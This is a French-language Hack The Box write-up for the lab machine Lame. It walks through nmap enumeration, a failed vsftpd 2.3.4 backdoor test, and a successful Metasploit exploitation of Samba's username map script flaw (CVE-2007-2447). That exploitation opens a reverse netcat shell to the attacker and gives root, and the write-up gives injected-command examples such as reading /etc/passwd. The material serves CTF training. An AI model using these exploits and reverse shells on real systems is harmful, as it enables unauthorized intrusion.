Introduction
Lame est une machine Easy de Hack The Box qui illustre l’exploitation d’une vulnérabilité critique dans le service SMB (Samba 3.0.20), permettant une exécution de code à distance via le username map script (CVE-2007-2447) et l’obtention directe d’un shell root.
Plusieurs services réseau sont exposés, notamment FTP (vsftpd 2.3.4) et SMB, tous deux associés à des vulnérabilités connues. L’enjeu consiste à identifier la piste réellement exploitable, à la valider méthodiquement, puis à obtenir l’accès aux fichiers user.txt et root.txt.
Dans ce writeup, tu appliques une démarche progressive et reproductible. Tu commences par cartographier les ports et services avec mon-nmap
, puis tu testes les pistes les plus évidentes dans un ordre logique.
Le service FTP constitue une première piste crédible : l’accès anonyme est autorisé et la version est associée à une backdoor connue. Tu prends donc le temps de valider cette hypothèse à l’aide d’un PoC et de Metasploit. L’absence de session exploitable te permet de l’écarter proprement.
L’analyse se concentre ensuite sur SMB. Les résultats d’énumération et la version de Samba orientent vers une vulnérabilité critique exploitable : CVE-2007-2447. Son exploitation permet d’obtenir directement un accès root, sans étape intermédiaire d’escalade de privilèges.
Pour la petite histoire, Lame est la première machine publiée sur Hack The Box, le 14 mars 2017. Elle reste aujourd’hui un excellent exercice pour poser des bases solides en CTF.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box.
Avant de lancer les scans, vérifie que le nom d’hôte lame.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x lame.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap lame.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan initial TCP complet (scans_nmap/full_tcp_scan.txt) te révèle les ports ouverts suivants :
# Nmap 7.98 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt lame.htb
Nmap scan report for lame.htb (10.129.x.x)
Host is up (0.014s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 26.46 seconds
Scan FTP/SMB (si services détectés)
Après le scan initial, le script enchaîne automatiquement avec une phase d’énumération ciblée FTP/SMB si l’un des services suivants est détecté :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans scans_nmap/enum_ftp_smb_scan.txt
Sur lame.htb, cette phase est exécutée.
# Nmap 7.98 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p21,139,445 --script=ftp-anon,ftp-syst,smb-os-discovery,smb-enum-shares,smb-enum-users --script-timeout=30s -T4 -oN scans_nmap/enum_ftp_smb_scan.txt lame.htb
Nmap scan report for lame.htb (10.129.x.x)
Host is up (0.97s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.x.x
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OS: Unix
Host script results:
| smb-enum-users:
| LAME\backup (RID: 1068)
| Full name: backup
| Flags: Account disabled, Normal user account
| LAME\bin (RID: 1004)
| Full name: bin
| Flags: Account disabled, Normal user account
| LAME\bind (RID: 1210)
| Flags: Account disabled, Normal user account
| LAME\daemon (RID: 1002)
| Full name: daemon
| Flags: Account disabled, Normal user account
| LAME\dhcp (RID: 1202)
| Flags: Account disabled, Normal user account
| LAME\distccd (RID: 1222)
| Flags: Account disabled, Normal user account
| LAME\ftp (RID: 1214)
| Flags: Account disabled, Normal user account
| LAME\games (RID: 1010)
| Full name: games
| Flags: Account disabled, Normal user account
| LAME\gnats (RID: 1082)
| Full name: Gnats Bug-Reporting System (admin)
| Flags: Account disabled, Normal user account
| LAME\irc (RID: 1078)
| Full name: ircd
| Flags: Account disabled, Normal user account
| LAME\klog (RID: 1206)
| Flags: Account disabled, Normal user account
| LAME\libuuid (RID: 1200)
| Flags: Account disabled, Normal user account
| LAME\list (RID: 1076)
| Full name: Mailing List Manager
| Flags: Account disabled, Normal user account
| LAME\lp (RID: 1014)
| Full name: lp
| Flags: Account disabled, Normal user account
| LAME\mail (RID: 1016)
| Full name: mail
| Flags: Account disabled, Normal user account
| LAME\man (RID: 1012)
| Full name: man
| Flags: Account disabled, Normal user account
| LAME\msfadmin (RID: 3000)
| Full name: msfadmin,,,
| Flags: Normal user account
| LAME\mysql (RID: 1218)
| Full name: MySQL Server,,,
| Flags: Account disabled, Normal user account
| LAME\news (RID: 1018)
| Full name: news
| Flags: Account disabled, Normal user account
| LAME\nobody (RID: 501)
| Full name: nobody
| Flags: Account disabled, Normal user account
| LAME\postfix (RID: 1212)
| Flags: Account disabled, Normal user account
| LAME\postgres (RID: 1216)
| Full name: PostgreSQL administrator,,,
| Flags: Account disabled, Normal user account
| LAME\proftpd (RID: 1226)
| Flags: Account disabled, Normal user account
| LAME\proxy (RID: 1026)
| Full name: proxy
| Flags: Account disabled, Normal user account
| LAME\root (RID: 1000)
| Full name: root
| Flags: Account disabled, Normal user account
| LAME\service (RID: 3004)
| Full name: ,,,
| Flags: Account disabled, Normal user account
| LAME\sshd (RID: 1208)
| Flags: Account disabled, Normal user account
| LAME\sync (RID: 1008)
| Full name: sync
| Flags: Account disabled, Normal user account
| LAME\sys (RID: 1006)
| Full name: sys
| Flags: Account disabled, Normal user account
| LAME\syslog (RID: 1204)
| Flags: Account disabled, Normal user account
| LAME\telnetd (RID: 1224)
| Flags: Account disabled, Normal user account
| LAME\tomcat55 (RID: 1220)
| Flags: Account disabled, Normal user account
| LAME\user (RID: 3002)
| Full name: just a user,111,,
| Flags: Normal user account
| LAME\uucp (RID: 1020)
| Full name: uucp
| Flags: Account disabled, Normal user account
| LAME\www-data (RID: 1066)
| Full name: www-data
|_ Flags: Account disabled, Normal user account
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2026-02-04T08:10:42-05:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 43.71 seconds
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect) pour lame.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"21,22,139,445,3632" --script="(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "lame.htb"
# Nmap 7.98 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p21,22,139,445,3632 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt lame.htb
Nmap scan report for lame.htb (10.129.x.x)
Host is up (0.40s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose|remote management|webcam|firewall|storage-misc
Running (JUST GUESSING): Linux 2.4.X|2.6.X (95%), Belkin embedded (88%), Control4 embedded (88%), Mobotix embedded (88%), Dell embedded (88%), HID embedded (88%), IBM embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.4.30 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:linux:linux_kernel:2.4.18 cpe:/o:linux:linux_kernel:2.6.18 cpe:/h:belkin:n300 cpe:/h:hid:edgeplus_solo_es400 cpe:/h:ibm:ds4700
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (95%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (93%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (93%), Linux 2.4.18 (93%), Linux 2.6.18 (91%), Linux 2.6.23 (91%), OpenWrt (Linux 2.4.30 - 2.4.34) (90%), OpenWrt (Linux 2.4.32) (88%), Belkin N300 WAP (Linux 2.6.30) (88%), Control4 HC-300 home controller or Mobotix M22 camera (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 946.51 ms 10.10.x.x
2 946.50 ms lame.htb (10.129.x.x)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 21.71 seconds
Scan ciblé CMS
Vient ensuite le scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.98 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p21,22,139,445,3632 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt lame.htb
Nmap scan report for lame.htb (10.129.x.x)
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 13.09 seconds
Scan UDP rapide
Le scan UDP rapide est enregistré dans le fichier scans_nmap/udp_vuln_scan.txt.
# Nmap 7.98 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt lame.htb
Nmap scan report for lame.htb (10.129.x.x)
Host is up (0.57s latency).
PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 7.32 seconds
Ici, tu ne lances pas mon-recoweb ni mon-subdomains, le scan initial n’ayant révélé aucun service HTTP/HTTPS sur la machine.
Prise pied
À partir des informations fournies par mon-nmap, tu définis une approche simple : tester en priorité le service FTP (vsftpd 2.3.4), puis basculer vers SMB (Samba 3.0.20) si la première piste n’aboutit pas.
Tu commences par analyser le service FTP (port 21).
FTP
Tu commences par tester l’accès FTP anonyme, autorisé par nmap, afin de vérifier si des fichiers sont accessibles sans authentification.
Anonymous FTP
ftp lame.htb
Connected to lame.htb.
220 (vsFTPd 2.3.4)
Name (lame.htb:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /
ftp> ls -la
229 Entering Extended Passive Mode (|||28060|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 ..
226 Directory send OK.
ftp>
Le service FTP accepte les connexions anonymes, mais le répertoire accessible est vide.
Tu recherches ensuite les vulnérabilités connues associées à cette version avec searchsploit.
Searchsploit
searchsploit vsftpd 2.3.4
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Comme searchsploit remonte deux entrées pour vsftpd 2.3.4, tu commences par les récupérer en local pour comprendre ce qui est exploité, avant de lancer un test.
searchsploit -m unix/remote/49757.py
searchsploit -m unix/remote/17491.rb
Les deux fichiers pointent vers la même vulnérabilité (CVE-2011-2523) : une version compromise de vsftpd 2.3.4 contient une porte dérobée.
Un nom d’utilisateur se terminant par :) déclenche l’ouverture d’un shell bind sur le port 6200/tcp.
Si la backdoor est présente, un service shell est alors accessible sur ce port.
POC
python3 49757.py lame.htb
Traceback (most recent call last):
File "/mnt/kvm-md0/HTB/lame/49757.py", line 37, in <module>
tn2=Telnet(host, 6200)
File "/usr/lib/python3/dist-packages/telnetlib/__init__.py", line 219, in __init__
self.open(host, port, timeout)
~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/telnetlib/__init__.py", line 236, in open
self.sock = socket.create_connection((host, port), timeout)
~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/socket.py", line 864, in create_connection
raise exceptions[0]
File "/usr/lib/python3.13/socket.py", line 849, in create_connection
sock.connect(sa)
~~~~~~~~~~~~^^^^
TimeoutError: [Errno 110] Connection timed out
Le PoC Python3 est exécuté. La connexion au port 6200/tcp échoue avec un timeout et aucun bind shell n’est ouvert.
Tu utilises ensuite le module Metasploit correspondant à vsftpd 2.3.4 pour vérifier cette piste.
Métasploit
Lance métasploit :
msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the
makerc command
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v6.4.110-dev ]
+ -- --=[ 2,601 exploits - 1,322 auxiliary - 1,707 payloads ]
+ -- --=[ 431 post - 49 encoders - 14 nops - 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf >
L’exploitation via Metasploit se fait selon le déroulement habituel : search pour identifier le module, use pour le charger, show options pour vérifier les paramètres attendus, set pour configurer la cible, puis run pour lancer le test.
msf > search vsftpd 2.3.4
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf >
La recherche dans Metasploit confirme l’existence d’un module dédié à la vulnérabilité vsftpd 2.3.4 Backdoor Command Execution. Ce module va maintenant être utilisé afin de vérifier définitivement si la backdoor est exploitable sur la machine cible.
Note : l’IP HTB peut changer après un reset ; garde la tienne comme source de vérité au moment des tests.
msf > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported pro
xies: socks4, socks5, socks5h, http, sapni
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
asics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST lame.htb
RHOST => lame.htb
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported pro
xies: socks4, socks5, socks5h, http, sapni
RHOSTS lame.htb yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
asics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.129.x.x:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.129.x.x:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) >
Bilan (FTP)
Le module Metasploit vsftpd_234_backdoor confirme le résultat du PoC Python : aucune session n’est créée.
La backdoor vsftpd 2.3.4 n’est pas présente. La piste FTP est écartée.
Tu poursuis l’analyse avec le service SMB, identifié lors de l’énumération initiale.
SMB
Tu recherches les vulnérabilités connues associées à la version du service SMB (Samba 3.0.20) avec searchsploit.
Searchsploit
searchsploit samba 3.0.20
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
La recherche avec searchsploit met en évidence plusieurs vulnérabilités affectant Samba 3.0.20.
Parmi celles-ci, une vulnérabilité permet l’exécution de commandes à distance via le mécanisme username map script. Un module Metasploit est disponible pour cette faille.
Comme pour FTP, tu récupères le script référencé par searchsploit afin de comprendre le fonctionnement de la vulnérabilité avant toute tentative d’exploitation.
searchsploit -m unix/remote/16320.rb
La lecture du script montre qu’il s’agit d’un module Metasploit exploitant la vulnérabilité CVE-2007-2447, liée au mécanisme username map script de Samba.
Lorsque cette option est activée, Samba exécute un script externe en utilisant le nom d’utilisateur fourni, avant toute authentification. Dans les versions vulnérables, cette valeur n’est pas correctement filtrée, ce qui permet d’y injecter des commandes système.
Au lieu d’un simple nom d’utilisateur, il est possible de fournir une chaîne contenant une commande, par exemple /=whoami ou /=cat /etc/passwd.
Cette commande est exécutée avec les privilèges du service Samba, c’est-à-dire root, ce qui permet une exécution de commandes à distance sans identifiants valides.
POC
Le script 16320.rb est un module Metasploit. Il ne peut pas être exécuté seul pour réaliser un PoC indépendant.
Son exploitation passe par Metasploit, qui gère la communication SMB, l’injection du nom d’utilisateur malveillant et l’exécution des commandes sur la cible.
Métasploit
Pour exploiter cette vulnérabilité via Metasploit, tu appliques exactement la même procédure que pour FTP : rechercher le module avec search, le charger avec use, consulter les options avec show options, configurer les paramètres nécessaires avec set, puis lancer l’exploitation avec run.
msf > search samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:
host:port[,type:host:port][..
.]. Supported proxies: socks4
, socks5, socks5h, http, sapn
i
RHOSTS yes The target host(s), see https
://docs.metasploit.com/docs/u
sing-metasploit/basics/using-
metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.241 yes The listen address (an interfac
e may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf exploit(multi/samba/usermap_script) > set RHOSTS lame.htb
RHOSTS => lame.htb
msf exploit(multi/samba/usermap_script) > set LHOST tun0
LHOST => 10.10.x.x
msf exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:
host:port[,type:host:port][..
.]. Supported proxies: socks4
, socks5, socks5h, http, sapn
i
RHOSTS lame.htb yes The target host(s), see https
://docs.metasploit.com/docs/u
sing-metasploit/basics/using-
metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.x.x yes The listen address (an interfac
e may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.x.x:4444
[*] Command shell session 1 opened (10.10.x.x:4444 -> 10.129.x.x:40485) at [date] 17:26:52 +0100
Le module cible le port 139 (netbios-ssn), point d’entrée du service Samba.
Une fois la session ouverte, tu vérifies le contexte d’exécution et constates que tu disposes directement des privilèges root.
La commande injectée est exécutée avec les privilèges du service Samba, qui tourne en root. Aucune phase d’escalade de privilèges n’est nécessaire.
whoami
root
pwd
/
ls -l /home/
total 16
drwxr-xr-x 2 root nogroup 4096 Mar 17 2010 ftp
drwxr-xr-x 4 makis makis 4096 Feb 5 06:25 makis
drwxr-xr-x 2 service service 4096 Apr 16 2010 service
drwxr-xr-x 3 1001 1001 4096 May 7 2010 user
ls -l /home/makis
total 4
-rw-r--r-- 1 makis makis 33 Feb 5 03:58 user.txt
cat /home/makis/user.txt
899bxxxxxxxxxxxxxxxxxxxxxxxx7743
cat /root/root.txt
67c4xxxxxxxxxxxxxxxxxxxxxxxx9acf
Bilan (SMB)
La vulnérabilité Samba username map script permet une exécution de commandes à distance sans authentification, avec les privilèges root.
L’exécution se fait directement dans le contexte du service Samba, qui tourne en root. Aucune phase d’escalade de privilèges n’est nécessaire.
Conclusion
La machine Lame met en avant l’importance d’une énumération rigoureuse et d’une validation systématique de chaque piste identifiée. Dès le scan initial, plusieurs services ressortent, notamment FTP et SMB, associés à des versions historiquement vulnérables.
Dans ce challenge, vsftpd 2.3.4 constitue une fausse piste typique. Même si la backdoor est bien documentée, les tests réalisés (PoC manuel et module Metasploit) montrent qu’elle n’est pas exploitable dans cet environnement. Cette étape reste essentielle, car elle permet de valider ou d’écarter une hypothèse de manière fiable, sans supposition.
La compromission repose finalement sur la vulnérabilité Samba username map script (CVE-2007-2447). Son exploitation permet une exécution de commandes à distance sans authentification, directement avec les privilèges root. L’accès aux fichiers user.txt et root.txt est immédiat, sans nécessiter d’escalade de privilèges.
Ce challenge permet de retenir plusieurs points clés :
- valider chaque vulnérabilité en conditions réelles, même si elle est connue,
- tester les pistes dans un ordre logique, sans se focaliser trop tôt sur une seule,
- analyser l’impact concret d’une faille, plutôt que d’enchaîner les exploits sans compréhension.
Lame constitue ainsi une excellente base pour appliquer une méthodologie CTF structurée, reproductible et directement réutilisable sur d’autres machines Hack The Box.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
